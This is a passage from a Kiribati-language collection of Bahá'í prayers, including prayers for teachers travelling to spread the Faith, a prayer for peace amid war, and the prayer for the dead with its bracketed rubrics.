raoiroi.\nAu Uea, nanoangaiia aika a kainnano, ao kamarurungiia aoraki, ao tiringa uran te taka.\nKakukureia te nano are e mena iai ain Am tangira are e bae n ura iai ain Am tangira n tamnei.\nKabaea Umwan Am katiteuana n Tamnei ma bwain kabaebaen te katabuaki ao kamenaa i aon atuu baunuean Nanom.\nKaootaa moau n ootan Matan Am Tituaraoi ao kairiirai n ukoukoran Am mataroa ae tabu.\nKarika nanou bwa e na onrake n tangiran Am karikibwai nako ao katauai bwa I aonga n riki bwa kanikinaean Am nanoanga, ao kanikinaean Am bwai-n-aakoi, te tia karikirakeiia aika a tabu i buakoia aika ko tangiriia, bwa e na bane nanou Nakoim n atoatong Arom nako, ao ni mwaninga arou ma n ti ururing ake bon Am bwai.\nAtuau, Atuau, tai tuuka nakoiu kamaeun angin Am kabwarabure ao Am aakoi ao tai kamwaawaai man koburaken ranin Am ibuobuoki ao Nanom.\nI aan nuun bain Am kakaawakin kamenaai bwa Nna motirawa, ao karekea nakoiu Am taratara ae e kakaawakin.\nKariaia neweu bwa e na takaruaa Aram i buakoia Am aomata, bwa e aonga n irakeaki i nanon baronga aika a korakora ao koburaken karaangan Neboam.\nBon Ngkoe, ni koaua, te Tamaroa, te Mimitong, te Mwaaka, te Konai Bwaai nako!\nTe nebonebo Nakoim, O te Uea ae Atuau! I a Butiiko n Aram are akea ae e a tia ni kinaa n ae tau, ao kakawakina akea a a tia n ataia ni koaua; I a Butiiko, iroun Teuare Ngaia Koburaken Ranin Am Kaotioti ao Bongin-Rikiraken Am kanikina nako, ni karika nanou bwa e na butimwaea Am Tangira ao Ururingam. Kabaea ngkanne, nakon Am marawa ae moan baan te korakora, bwa are mai iai a na waanako ranin nako te maiu n Niniwanam ao itiakin raanga n ranin Kamimitongam ma Neboam. Riin nako rabwatau a bon kakoaua n Am katiteuana, ao iran atu e kaota korakoran Ueam ma Mwaakam. I a tia n tei ni mataroan Am raoiroi ma ni kaakeaai ao ni kaota korakoran Ueam ma Mwaakam. I a tia n tei ni mataroan Am raoiroi ma te kaakeaai ao te kamwawaai, ao n nimta roobun Am kakabwaia, ao ni katokaa matau i aon oraitanin Am bwaintangira nako.\nKataua ngkanne i bukiu, Ngkoe Atuau, are e na riki bwa kakannaton Ueam, ao buokai, n Am raoiroi ae kakamatoa, n reiakina Am Waaki bwa e aonga atuu ni biri nako man ruanimateia, ao ni biri Nakoim, n onimaki raoi Iroum, ao ni katokai aia taratara i aon Am Waaki, ao te tabo are ingabongin Am Kaotioti. Boni Ngkoe, ni koaua, Moan te Mwaaka, te Kabanea n Rietaata, te Ataibwaai ni kabane, te Kabanea ni Wanawana.\nAtuau, buoka Am toro aei bwa e na karietaa te Taeka, ao n ekanakoa are akea nanona ao are e kaairua, ni katea raoi te koaua, ni kabutinakoi taian kiibu aika a tabu, ni kaotai te oota, ao ni karika ootan te ingaabong n ingi i nanoia ake a etieti. Boni Ngkoe, ni koaua, te Moamoaaomata, te Kabwarabure.\nO te Atua ae Atuau! Buokiia Am toro aika Ko onimakiniia bwa a na tatangira ma n akoako nanoia. Buokiia ni kataorababa, i buakoia natannaomata nako n te aonaaba, ootan te kairiiri are e roko man Botakiia naake a ririeta. Ni koaua, boni Ngkoe te Matoa, te Mwaaka, te Korakora, te Kabanea ni Konabwai, te Tia Angaanga. Ni koaua, boni Ngkoe te Moamoaaomata, te Maem, te Raoiroi, ao te Kabanea n Atataiaomata.\nKaotaki nakoia kaain te Bahá'í n Aonon te United States ao Canada\nO Ngkoe te Atua ae akea Kabotauana, O Ngkoe Uean te Abanuea! Tamnei aikai, bon kaain Am taanga ni buaka ni karawa. Buokia ao n raonaki irouia kaain te Runga mai Ieta, anganiia te tokanikai bwa aonga n riki n tatabemaniia nako bwa ai aron te taanga ni buaka man tauu aba aikai rinanon Ana tangira te Atua ao kaotanakoan taian reirei n tamnei.\nO te Atua, riiki Ngkoe bwa aia tia boutoka ao aia tia ibuobuoki ao, n taabo nako aika aki maekanaki, iaon maunga, inanon mwarua, ibuakonikai, inanon tawaana ao riaon marawa, riiki Ngkoe bwa te Tia Onimakinaki irouia bwa aonga n tatakarua, rinanon mwaakan te Abanuea ao ikeiken te Tamnei ae Raoiroi.\nNi koaua bon Ngkoe te Mwaaka, te Korakora ao te Tia Konai Bwaai nako, ao bon Ngkoe te Wanawana, te Tia Ongongo ao te Matairiki.\nKaotaki nakoia kaain te Bahá'í n Aonon te United States ao Canada\nIbukiia aika a mwananga i bukin te kabuti reirei nakon taabo nako ma ni mwamwananga n taabo aika a ia¬nena; e kona n atonga te tataro aei ni bong ao ni ngaina.\nTe Atua, Atuau! Ko noorai ngkai e otab¬wanini¬aki nanou ao ni katikaki nakon Abanueam ae e mimi¬tong, n urarake n ain Am tan¬gira i buakoia ao¬mata, bwa te tia uataeka i bukin Abanueam n taabo aika a bati ao ni ua¬maae aikai, ni ko¬re¬aki man bwaai ni ka¬bane ma ti ngkoe, ni kaakeaa te moti¬rawa ao te mwen¬garaoi, n raroa nako man mweengau are I ma¬maeka iai, n riki bwa te tia ti¬o¬tio n taabo aikai, te ia¬nena ae e bwakara aon¬tano, ni kari¬nanoai i matan at¬i¬bun Am Mataroa ae e ka¬ri-etataaki, n ongeaaba nakon Am karawa ae e ri¬etaata mimi¬tong¬ina, ma n Taromauriiko n auan te tairiki ao n tab¬we¬nan te ingabong, ao n Bubu¬ti¬iko man onnon Nakoim n te in¬gaabong ao n te tairiki bwa Ko na buokai ri¬nanon am titu¬araoi ni beku i nanon Am Waaki, ni kataorababaa nako ki¬raroa Am reirei ma ni ka¬ri¬etataa Am taeka n it¬eran te aon¬aaba aika i mainiku ao i maeao.\nTe Uea! Kako¬rakora nuukau ao karikai bwa Nna kona ni beku Ibukim ma te nanoko¬rakora, ao tai katukai n ti ngai, ni maroaa ao n aki kon¬ab¬wai n taabo aikai.\nTe Uea! Kari¬aia bwa Nna ireken¬rao ma Ngkoe n tain maroaau, ao riiki bwa Raou n taabo aika a ia-nena aikai.\nNi koaua, bon Ngkoe te Tia kam¬a¬toaia naake Ko bon taku bwa Ko nano irouia ake ko bon tan¬giria ao ni koaua, bon Ngkoe te Ko¬rakora, te Maiu i bon Irouna.\nKaotaki nakoia kaain te Bahá'í n Aonon te United States ao Canada\nAre e mwamwananga nakon iteran mwakoro nako ni kabuta te reirei, iaon maunga, rereua, aaba ao taari ke wareka raoi te bubuti aei:\nO te Atua! O te Atua! Ko nora mamarau, rinanou, ao mangoriu imataia Am karikibwai nako; e ngae n anne, I bon katuka au onimaki Iroum ao I teirake ni kabuta nakoa Am reirei nako ibuakoia Am toro aika korakora, ni katan iaon Mwaakam ao Korakoram.\nO te Uea! Bon ngai te mannikiba ae mwaoto baina ao e kan kibarakea Am mwaawa ae akea tiana. E na kanga n reke nakoiu aei ma bon tii rinanon Am ibuobuoki ao Am nanoanga, Am kamatoa ao Am ibuobuoki.\nO te Uea! Nanoangai ni mamarau, ao kakorakoraai ni Mwaakam. O te Uea! Nanoanga au aki konabwai, ao buokai ni Korakoram ao Kakannatom.\nO te Uea! Ngkana ikeiken te Tamnei ae Raoiroi e kamatoa te karikibwai ae bon te kabanea ni ngore, e karekei bwaai ni kabane nakon are tangiria ao ni bwaini bwaai nako ake e nano iai. Ni koaua, Ko a bon tia ni buokia Am toro n taai aika nako ao, e ngae ngke kabanean ngoreia Am karikibwai, kabanean rinanoia Am toro ao kabanean aki kakawaki ibuakoia ake a maeka n te aba, rinanon Am katabuaki ao Korakoram a tia ni moan bwai iaoia kabanea ni mimitong ibuakoia Am aomata ao kabanea ni kakannato ibuakoia botanaomata. Aongkoa ngkekei bon taian manibeti, a riki bwa ai bwanuean mannikiba aika falcons, ao ngkekei ngkoa bon taian ranga n ran aika uarereke, a riki bwa ai taari, rinanon Am tituaraoi ao Am nanoanga. A riki, rinanon Am akoi ae korakora mwaitina, itoi aika raneanea iaon oraitanin te kairiri, mannikiba anene inanon rootin te onaroka ae akea tokina, raian a bekorara inanon buakonikain te atatai ao te niniwana, ao kuua a uaua inanon marawan te maiu.\nNi koaua, bon Ngkoe te Nanoanga, te Mwaaka, te Korakora, ao Katokia Nanoanga.\nKaotaki nakoia kaain te Bahá'í n Aonon te United States ao Canada\nO te Atua, Atuau! Ko noora aron roroon te rotongitong ae rabuni mwakoro n aono ni kabane, aroia ni kabane aono aika a urarake ma ain te kauntaeka, ao ain te buaka ao te tiritiri e a urababa rinanon nako te aono ni Mainiku ao Maeao. Rara a waanako, maate a raea iaontano, taian ata aika korouaaki a bwaka iaon bubuntanon te marae ni buaka.\nO te Uea! Nanoangaiia roonano aikai ao taraiia ma te mata n kakabwarabure ao n nanoanga. Tiringa te ai aei, n te aro bwa naang aika matenten aikai aika a rabuna te oraitan a kona ni kauamaeaki, Taain te Oioi e na oota nako ma buraen matan te inanoi, te bwarannao ae ribu e na taekaki ao ootan te raoi ae katekemata e na kaotanakoa raneaneana iaon aono ni kabane.\nO te Uea! Katikiia rake aomata man te nono ni marawa ae akea kabina ibukin te riribai ao te kairiribai, ao kaotinakoia man te rotongitong ae matoaninging niniakina. Kabooi nanoia, ao kaotai mataia ma ootan te raoi ao te inanoi. Kabwaraia man kabin te buaka ao te tiritiri, ao kainaomataia man roon te bure. Kamwaawai rabuna ake imataia, ao kaotai nanoia ma ootan te kairiri. Bwainaorakia n Am nanoanga ae abebete man mwamwannano, ao tai angania are bon riaina ni kaineti ma Am motiraoi ao Am katuua ake a kariki bwain nako te rabwata n rurubenebene.\nO te Uea! Buaka a bon reitinako. Kamaraki ao nakonnano a bon korakora rikirakeia ao ni katoai mwakoro n aono aika rangi ni marurung a wene n aki bongana.\nO te Uea! A tinebu naano, ao tamnei a kaonaki n te rawawata. Nanoangaia tamnei aika kananonaga aikai ao tai katikuia n aroia man taonakon are bon oin nanoia.\nO te Uea! Kaoti nakon Abam aikai tamnei aika kamangori ao n ongotaeka, moaia a otanako ma buraenmatan te kairiri, a koreaki man te aonaba, neboneboa Aram, mwanewenewea Neboam, ao a kauamaea boiararan Am katabuaki ibuakoia botanaomata.\nO te Uea! Kakorakorai nukaia, kabaei rooia, ao kaoni nanoia ma kanikinaean Am tangira ae korakora.\nO te Uea! Ni koaua, a bon mamara, ao Ngkoe bon te Mwaaka ao te Korakora; akea aia konabwai, ma bon Ngkoe te Tia Buokia ao te Nanoanga.\nO te Uea! Marawan te kaitara a uti naoia, ao taian mangaongao aikai a na bon aki taona rongoana ma tii rinanon Am Tamaroa ae Akea Tiana are e rabwatii mwakoro n aono ni kabane.\nO te Uea! Ni koaua, aomata a bon mena inanon te nono ni kaibwabwaru ae akea kabina, ao akea riki ae na kamaiuia ma bon tii Am kakabwaia aika akea tokia.\nO te Uea! Taenakoa te rotongitong man naano aika bakairae aikai, ao kaotai naano nako ma tauran Am tangira rinanona ike ni kabane aono n te tai ae aki maan a na kaotaaki. Kamatoaia, e a moamoa riki, naake Ko tangiria, naake, a kitani abaia, aia utu ao natiia, a tia, ibukin tangiran Tamaroam, a mwananga nakon aono aika ianena ni kauamaea Am boiarara ao ni katanoatai Am reirei nako. Riiki Ngkoe bwa raoia inanon maroaia, aia tia ibuobuoki inanon aaba aika a ianena, te tia kanakoi rawawataia, te tia kamwengaraoia inanon tain te kanganga. Riiki Ngkoe bwa te tia ukiia n te ang ni kamaiu ibukin takaia, te bwai n aoraki ibukin aorakia ao te kabira nakon buen korakain nanoia.\nKaotaki nakoia kaain te Bahá'í n Aonon Meangmainiku\nTe bubuti ae inano e kona ni warekaki irouia taan reirei ao raao ni katoa bong:\nO Ngkoe te Uea ae akoi! Ko na neboaki bwa Ko a tia ni kaota te kawai ae ineti ibukin te kairiri, ni kauki mataroan abanuea ao ni Kaotiko rinanon Taain te Oioi. Nakon te mataki Ko a tia n anganna te noraba; nakon te bonokau Ko a tia n anganna te ongo; Ko a tia ni kamaiua te mate; Ko a tia ni kaubwaia te kainnano; Ko a tia ni kaota te kawai nakoia ake a tia ni mwaninga nako; Ko a tia ni kairia ake a ure riaia nakon mwanibwan te kairiri; Ko a tia ni kariaia te ika ae takaroro bwa e na roko ni marawan te oioi; ao Ko a tia ni kaoia mannikiba aika tiotionako nakon rootin arokan te nanoanga.\nO Ngkoe te Kabanea ni Korakora! Bon Am toro ngaira aika kananoanga; ti raroa nako ao ti ririkana Menam irarikira, ti bon takaroroa ranin Am mwanibwa, ti aoraki, ti bwarua Am kakamaiu. Ti nakonako inanon Kawaim ma bon akea ara oi ke oin ara kantaninga ma tii kabutanakoan Boiararam, n te aro bwa tamnei ni kabane a na kona n irakea bwanaaia: O te Atua, \"Kairira nakon te kawai ae ineti.\"2 A bia kaureaki mataia bwa a na nora te oota ao a bia kainaomataaki man rotongitongin te roonnano. A bia ikotaki ni katobibia tauran Am kairiri. A bia taan aki kabwaibwaiaki aikai ni katoaki ma te tibwa. A bia kananoanga aikai n riki n onimakinaki n taekan Kamiimiim.\nO te Kabanea ni Korakora! Taraira ma te mata n nanoanga. Anganiira te kamatoaki ni karawa. Kataua nako aora ikeiken te Tamnei ae Raoiroi, n te aro bwa ti na buokaki inanon ara beku Ibukim ao, n ai aron itoi aika raneanea, kaotai mwakoro n aono aikai ma ootan Am kairiri.\nNi koaua, bon Moan te Mwaaka Ngkoe, te Korakora, te Wanawana ao te Nooraba.\nKaotaki nakoia kaain te Bahá'í n Aonon Maiaki\nNi kabane tamnei ake a mwananga inanon kaawa aika bubura, kaawa aika uarereke ao bwariko n auti tabeua n aono aikai ao e katabea ma kakianakoan boiararan te Atua, e na wareka aio ni karaurau ni katoa ingabong:\nO Atuau! O Atuau! Ko noorai n au kabanea n rinano ao ni mamara, katabeaki ma te mwakuri ae rangi ni korakora, nanomwaaka n irakea Am taeka ibuakoia te mwaiti ae korakora ao ni kauamaea Am reirei nako ibuakoia Am aomata. Nna kanga n tokanikai ma tii man Am ibuobuoki nakoiu ao ikeiken te Tamnei ae Raoiroi, buokai n tokanikai man te runga are n Am abanuea ae mimitong, ao kabwaka ni karau nako aou Am kamatoa nako, are bon tii mai iai e kona ni bita te manibeti nakon te ikare, ao te tim n ran nakon taian karanga ao taian taari, ao te atom nakon taian oota ao taian taai? O au Uea! Buokai ma Am tokanikai ae rianako ao korakoram ae kakai, n te aro bwa neweu e na kona n tataekina Neboneboam ma Aroarom nako ibuakoia ni kabane aomata ao e na taonako tamneiu ni wainin Am tangira ao Am atatai.\nBon Ngkoe te Korakora ao te Tia Karaoi Bwaai nako nakon Kukureim.\nKaotaki nakoia kaain te Bahá'í n Aonon Nuka\nA kona taan kabutanakoa boiararan te Atua n atonga te tataro aei ni katoa ingabong:\nO te Uea, Atuau! Te nebonebo ao te karabwarabwa Nakoim bwa Ko a tia ni kairai nakon te kawai ni koaua nakon te abanuea, ni kariaia bwa Nna nakonako n te kawai ae ineti ma ni kakironako kaei aei, Ko kaota matau bwa Nna nora raneanean Ootam, Ko kainga taningau nakon tangiraoia mannikiban te katabuaki man te abanuea ni kamimi ao ni katika nanou n Am tangira ibuakoia aika etieti.\nO te Uea! Kamatoaai ma te Tamnei ae Raoiroi, n te aro bwa I aonga ni kona ni wewete n Aram ibuakoia aono nako ao n anga reirei ni kamaiu ibukin kaotiotan Am abanuea ibuakoia aomata nako.\nO te Uea! I bon mamara, kamarurungai ni Mwaakam ao Korakoram. Neweu e baebae, kariaiaai bwa Nna tataekini Kaururingam ma Neboneboam. I rinano, kakannangakai man karinakiu inanon Am abanuea. I raroanako, karikai bwa Nna waaki nako matan atibun mataroan Am nanoanga. O te Uea! Karaoai bwa te taura ae katekemata, te itoi ae raneanea, ao te aroka ae kakabwaiaki, ae unekenekeaki ma uaa, mwangana nako a kanuui mwakoro n aono nako n taabo aikai. Ni koaua, bon Ngkoe te Korakora te Mwaaka ao te Aki Kona ni Ineaki.\nKaotaki nakoia kaain te Bahá'í n Aonon Maeao\nTe maroro ae inano e kona ni warekaki irouia ni katoa bong:\nO te Atua! O te Atua! Aio te mannikiba ae mwaoto baina ao kibana e rangi ni karaurau – buokia n te aro bwa e na kona ni kiba nakon taubukin te tabomoa ao te kamaiuaki, ni kibarakea kawaina ma te kabanea ni kimwareirei ao ni kukurei rinanon te mwaawa ae akea tiana, ni mwemwekaarakea tangiraoin Aram ae te Kabanea n Rietata inanon mwakoro n aono ni kabane aikai, ni kakimwareireii taninga ma te wewete aei, ao ni kakukurei maata man noorakin taian kanikina ibukin te kairiri.\nO te Uea! I bon toara, tii ngai ao man rinano. Irou bon akea te korakora ma tii Mairoum, akea te ibuobuoki ma tii Ngkoe ao akea te tia kaneneai Irarikim. Kateimatoaai n au beku Ibukim, buokai ma te taanga n anera ake Mairoum, ao karaoai n tokanikai ni kakatanoataan Am Taeka ao kariaiaai bwa Nna taetae iaon Niniwanam ibuakoia Am karikibwai nako. Ni koaua, bon Ngkoe te tia ibuobuoki nakoia aika mamara ao te tia kamanoia aika merimeri, ao ni koaua bon Ngkoe te Mwaaka, te Korakora ao te Aki Kona ni Ineaki.\nKaotaki nakoia kaain te Bahá'í iaon Canada ao i Greenland\nKo na neboaki Ngkoe, O Atuau! Aikai Am toro aika a katikaki nakon boiararan Am nanoanga, a kakiaki man ain te aroka are ura are bon Mairoum n tii Ngkoe, ao mataia a kakukureiaki man taraakin raneanean te oota are otanako mai Sinai are bon Mairoum n tii Ngkoe.\nO te Uea! Kabwaranakoi neweia bwa a na atoatongko ibuakoia Am aomata, kariaiia bwa a na taetaekina nako Neboam rinanon Kukureim ao Am tangira n akoi, buokia ma Am tanga n anera, kamatoai nukaia inanon Am beku, ao karaoia bwa kanikinaean nako Am kairiri ibuakoia Am karikibwai.\nNi koaua, bon Ngkoe te Kabanea ni Mwaaka, Taubukin te Rietata, Akea Tokin Am Kakabwarabure, te Kabanea n Nanoanga.\nKaotaki nakoia kaain te Bahá'í iaon Canada ao i Greenland\nTaan kauamaea boiararan nako te Atua a kona n atonga te tataro aei ni katoa ingabong:\nO te Atua, Atuau! Ko nora te mamara aei e bubuti ibukin te kakorakora ni karawa, te kainnano aei e bwarua kaubwain nako Am karawa, te takaroro aei e korakai nanona nakon mwanibwan te maiu ae akea tokina, te ikuaki aei, e ririkanaa Am berita ni kamarurung rinanon Am nanoanga ae akea tiana are Ko a tia ni motikia ibukia Am toro ake Ko rineiai inanon Am abanuea are ieta.\nO te Uea! Bon akea te tia buokai ma bon tii Ngkoe, bon akea umwau Irarikim, ao akea te tia kanuaai ma bon tii Ngkoe.\nO au Uea! Kariaiaai bwa Nna kamwawaaki man bwaai nako ma tii Ngkoe, n taua ni kamatoa rabin Am kakabwaia, ni babanennano raoi nakon Am Aro, n tiku ni matoa ao n teimatoa inanon Am tangira ao ni ira raoi are Ko a tia ni koreia inanon Am Boki.\nNi koaua, bon Ngkoe te Mwaaka, te Korakora, Akea Tian Mwakana.\nKo noorai, au Uea, ma moau are e rairaki nakon karawan Am tituaraoi ao marawan Am bwain aakoi, ni bubai man bwaai ni kabane i Rarikim. I Butiiko, ni mimitongin Taain Am Kaotioti i aon Tiinai, ao ni korakoran ootan Tobibin Am raoiroi are e ootanako man rabin karawan Aram, are te Kakabwarai buure ao ni bwaina te atataiaomata nakoiu. Korobokiia i bukiu, ngkanne, n Am kainikoroboki ni mimitong baike a na karietataai rinanon Aram n aonaaban te karikibwai.\nBuokai, au Uea, ni kaineti Nakoim, ao n ongoongo ni bwanaaia naake Ko tangiriia, ake mwaakan te aonaaba a tia n aki konaa ni kamamaraiia, ao tautaekan aaba nako a tia n aki konamaki n tauiia Mairoum, ao naake a tia n taku ngke a waaki Nakoim: \"Bon Te Atua ara Uea, Ueaia ni kabaneiia ake i karawa ao ni kabane aika i aon te aonaaba.\"\nTe Atua ae Atuau! I a tia n teirake ao ni kitana mweengau, ao n teimatoa n taua roobun Am tangira ao I a tia n anga ngai ni kabanea nakon Am tararua ao Am kakaawakin. I butiiko ni Mwaakam are Ko a tia iai ni kaawakiniia ake Ko tangiriia man tibanakoia man kawaiia ao te katei nakon te raoiroi, ao man kakiriwean te tua, ao ni kabane taan karaoi aaro akanne aika a aki tau are a bon tia ni kararoaiia Mairoum, kaawakinai ao kamaurai n Am atataiaomata ao Am nanoanga.\nKarikai bwa Nna manga oki nakon mweengau ni Korakoram ao Mwaakam. Boni Ngkoe ni koaua moan te Mwaaka, te Buoka n te kangaanga, ao te Maiu i bon Irouna.\nAu Uea! Ko bon ataia bwa aomata a bane n otabwaniniaki n taian kammaraki ao n taian tekebuaka ao ni katomimiaki ma kangaanga ao kakumekume. Ni katoa nako te kataitai ao e bon eweka te aomata, ao ni katoa nako te kangaanga aika a kakamaaku aikai n ai aron ana ewaewa te naeta. Bon akea te tabo ni kamanomano ao ni kaawakin ma ti i aan bain Am kakaawakin, Am kamanomano, Am kairiiri ao Am tararua.\nBon Ngkoe are Ko nanoanga! Ae Atuau! Am kamanomano bwa nanoangaeakiu! Atuau! Karika Am kakaawakin bwa au bwai ni katantan, Am kamanomano bwa otangau, karinanoau i matan mataroan Am katiteuana, ao Am tararua ma Am kakaawakin bwa au nono ao nneu. Kaawakinai man au iango nako ao nanou ao kairiirai man aeka n aoraki nako, kataitai, kangaanga ma aeka ni kataitai aika a korakora.\nNi koaua, bon Ngkoe te Tia Kakaawakin, te Tia kairiiri, te Tia Kateimatoa, te Tia Karauaki, ao ni koaua boni Ngkoe nanoangaia nanoanga.\nAtongnga: Te Atua bon mwiokon bwaai ni kabane. Akea i karawa ke i aon te aba ae e konaa n anga bwaai nako ma bon ti Ngaia. Mangaia ae bon Ngaia Irouna te Tia Ataibwai, te Tia Buokiira ao Ana bwai te Mwaaka.\nAm bwai te mimitong; Atuau! Ma ngke akea karawawata ake a uotaki ni Kawaim, ao e na kangaa iai ni kinaaki ake a Tangiraki ni koaua; ao ngke tao tiaki man taian kataitai ake a tabekaki i bukin Tangiram, ao e na kanga riki ni kaotaki iai ngkanne rineia ake a Mateakiniko? Korakoram bon au tia kakoaua! Raoiroia ake a Maamateakiniko ni kabane bon te rannimata ake a kawaanakoi, ao raun nanoia ake a Ukoukoriko bon korakain nanoia naake a ngirangiraia, ao kanaia naake a kaaraki ni kan kaaitibo ma Ngkoe bon taribin nanoia aika a uruaki.\nAi kangkangira irou katoongan maon te mate ae e taonai i nanon Kawaim, ao ai bonganara n au katautau aia kainiwai Am kariribai ngkana kaaitaraai i bukin karietataakin Am Taeka! Katauai Atuau bwa Nna nima te baere Ko a tia ni matennanoia i nanon Am Waaki ao karuoa i aou rinanon Am tangira bwaai ni kabane ake Ko a tia ni motiki taekaia. Ni Mimitongim! I tii tangira are Ko tangiria, ao I nabenabea are Ko nabenabeia. I a tia n taai nako ni katuka au mwioko ae e bwanin ao au onimaki Iroum.\nKateirakeaa, I Bubutiiko Atuau, bwa taan buoka te Kaotioti aio naake a na warekaki bwa a tau i bukin Aram ao Inaomatam n tautaeka, bwa a aonga n uringai i buakoia ake Ko a tia ni karikiia, ao a na irakei manuan Am tokanikai i Abam.\nKo konabwai ni karaoa are e Kakukureiko. Akea Te Atua bwa ti Ngkoe, te Buoka n te Nibwa ni mate, te Maiu i bon Irouna.\nTi Te Atua ke iai ae E konaa ni kanakoi kangaanga? Atongnga: E na neboaki Te Atua. Bon Te Atua Ngaia, ao aomata ni kabane bon Ana toro ake a bane n ira nanon Ana taeka.\nKo ataia ni koaua, Ngkoe Atuau, bwa a bon tia ni bwakarai taian kangaanga man itera nako, ao bon akea ae e kona ni kamaunai ke ni bitii ma bon ti Ngkoe. I ataia ni koaua, bwa ni koauan Tangiram irou, bwa Ko aki kona ni karika te kangaanga bwa e na bwakara te tamnei temanna ma ti ngkana Ko tangiria ni karietaata nnena inanon Am Baretaiti are i eta ma ni kanonoa nanona inanon te maiu i aon te aba aio n nonon Mwaakam ae rotii bwai nako, bwa e na aki katan nakon bwain te aonaaba aei ae akea nanoia. Ko bon ataia ni koaua i aan aroaro nako bwa I nabea riki Ururingam nakon bwainakin ni kabane ake n taian karawa ao i aon te aba.\nKamatoa nanou, Ngkoe Atuau, n Am boraraoi ao n Am tangira, ao kariaia bwa I aonga ni mwaawa ni botakiia ni kabane ake a Kaitarako. Ni koaua, I kaotia ni Mimitongim bwa akea ae I tangiria i Rarikim, ke iai riki te bwai ae I kainnanoia ma ti Am nanoanga, ke n ingainga nakon te bwai teuana ma ti Am motiraoi. I a Butiiko bwa Ko na kabwarai au bure, ao aia bure naba naake Ko tangiria, n aron are Ko nano iai. Ni koaua, boni Ngkoe Moan te Mwaaka, te Atataiaomata.\nKo bon rangi ni karietataaki riki Ngkoe, ae Uea ni karawa ma aon te aba, i aon aia nebonebo aomata nako, ao e na mena te raoi i aoia nako Am toro aika a kakaonimaki ao Ko kamimitongaki Ngkoe Te Atua, ae Uean aonaaba ni kabane.\nAtuau! Atuau! Katiteuanai nanoia Am toro, ao kaoti nakoia bukin Am Waaki ae e kakannato. A bia toua mwiin Am moti ao ni mena i nanon Am tua. Buokiia, Te Atua, n aia kekeiaki, anganiia te korakora ni beku i Bukim. Te Atua! Tai katikuiia n ti ngaiia, ma kairi ingin waeia n ootan Am atatai, ao kaungai nanoia n Am tangira. Ngkoe, ni koaua, aia Tia Ibuobuoki ao aia Uea.\nTe tataro ibukin te mate e kakabonganaaki i bukiia kaain te Baha'i ake e a tia ni koro 15 aia ririki. \"Ti aio te tataro ni Baha'i ae e kabaebae are e ananaaki n te bwanin; e na anaaki iroun temanna te tia onimaki ao ni kabane ake a roko a na tei. Akea baaireakina bwa e na kaitaraaki te Qiblih n anaaki te tataro aio.\" A Synopsis & Codification of the Kitáb-i-Aqdas\nAtuau! Bon Am toro aio ae te nati te mwaane ae natin Am toro are e a tia ni Kakoauako ma Am kanikina, ao ni kaineta moana Nakoim, ni kabwaninaki ni kamwaawaaki man bwaai nako ma bon ti Ngkoe. Bon Ngkoe, ni koaua, te kabanea n ataataiaomata mai buakoia naake a kaota te ataataiaomata.\nNgkoe Are E kakabwarai bureia aomata ao E kakarabai aia kaairua, baairea taekana n ai aron botaun karawan Am tituaraoi ao marawan Am raoiroi. Kariaia rinna i nanon Oon Am ataataiaomata ae e riao are iai i mwaain bouakinan te aba ao karawa. Bon akea te Atua bwa ti Ngkoe, te Kaakabwarai bure, te Kabanea n Tituaraoi.\n[Ngkanne e na atongaki onoua te tai te taeka ni kamauri ae \"Alláh'u'Abhá\", ao a na manga atongaki kaka tebwimaruaiwa te tai kiibu aika a koreaki i nano n tatabeua nako.]\nNi koaua, ti bon bane n taromauria Te Atua.\nNi koaua, ti bon bane ni katorobubua i matan Te Atua\nNi koaua, ti bon bane ni kabanei nanora i bukin Te Atua.\nNi koaua, ti bon bane n anga te nebonebo nakon Te Atua.\nNi koaua, ti bon bane n takaarua ni katituaraoi nakon Te Atua.\nNi koaua, ti bon bane ni kaantaninga iroun Te Atua.\n[Ngkana te mate te aine, ke e na atonga: Bon Am tabonibai te aine aio ao te nati te aine ae natin Am tabonibai, etc…]\nAm bwai te mimitong te Uea ae Atuau! Tai kamangora teuare Ko a tia ni karietaata ni mwaakan Inaomatam n tautaeka ae akea tokina, ao tai kamwaawa ni kararoaa mai Iroum teuare Ko a tia ni karinna n te umwanrianna n Am aki tootoki. Atuau, Ko na kanga ni karenakoa teuare ngaia are Ko a tia ni kanuua n Rikiam n Uea, ao Ko na kangaa, Maamaten nanou, ni katannakoa mai Iroum teuare Ko a bon tia n riiriki bwa ana tabo ni kamauri? Ko na kangaa ni karinanoa teuare ngaia are Ko a tia ni tabekiarake ke ni mwaninga taekan teuare ngaia are ko a tia ni karikia ni konaa n Uringko?\nTe kamimitongaki, moan te kamimitongaki Ngkoe! Ngkoe bon Ngaia are E Uea man te aki tootoki n te karikibwai ae e bwanin ao Oin Waakina, ao Ko a bon tiku n aki tootoki bwa te Uea irouia bwaai ni kabane ake a karikaki ao te Tia baairei aroia. Ko kamimitongaki, Atuau! Ngkana Ko katoka Am ataataiaomata nakoia Am toro antai, ngkanne, ae e na kaota te ataataiaomata nakoiia; ao ngkana Ko rawa ni kamaiuia ake ko tangiriia, antai riki ae e konaa ni kamaiuiia?\nKo kamimitongaki, ao te kamimitongaki ae akea baaireana Ngkoe! Ko bon neboaki i nanon Am motiraoi ao i Bukim ti bane ni koaua, ni kaotioti. Ko bon taatangiraki ni koaua, i nanon Am raoiroi. Akea riki te Atua bwa ti Ngkoe, te Buoka n te Nibwa ni Mate, te Maiu i bon Irouna.\nAtuau! Ngkoe ae te Tia Kabwarai buure, te Tia Tituaraoi, ao te Tia Kabebetei naano.\nI a bubutii Nakoim ma te nanorinano bwa Ko na kabwarai bureia naake a tia ni mate rabwataia, ao tamneia a waerake nakon te maiu are akea tokina.\nTe Uea, kaitiakiia man taian bure, katoki raraomaia ao onea te ro ane irouia nakon te oota. Kariniia ni barongan te kukurei, kaitiakiia n te ran are moanibaan te itiaki, ao katauia bwa a na noora Mimitongim ike e moa n te Rietaata.\nNebonebo ni kabane, Atuau, bon Nakoim are boni Ngkoe Rikin te Mimitong ni kabanea ao te kakannato ni uea, te kakannato ao te karineaki, te inaomata n tautaeka ao te mwaaka n tautaeka, te kairirieta ao te raoiroi, te kakanako nano ao te mwaaka. Ane Ko nano irouna ni kaania te Marawa ae Moan te Kakannato, ao ane Ko matennanoia Ko bon katokaa i aona rinena ni kinaakin Aram are Katokin Ngkoangkoa. Mai buakoia ni kabane ake i karawa ao i aon te aonaaba, akea ae e konaa ni kaaitaraa waakinan Nanom n Inaomatam n Uea. Man te aki tootoki ni kabane Ko a tia n tautaekana te karikibwai ae bwanin, ao Ko na bon teimatoa n taai nako ni kabonganaa Am waaki n tautaeka i aoia ni kabane baike a karikaki. Bon akea riki Te Atua bwa ti Ngkoe, Moan te Korakora, te Kabanea n Karietataaki, te 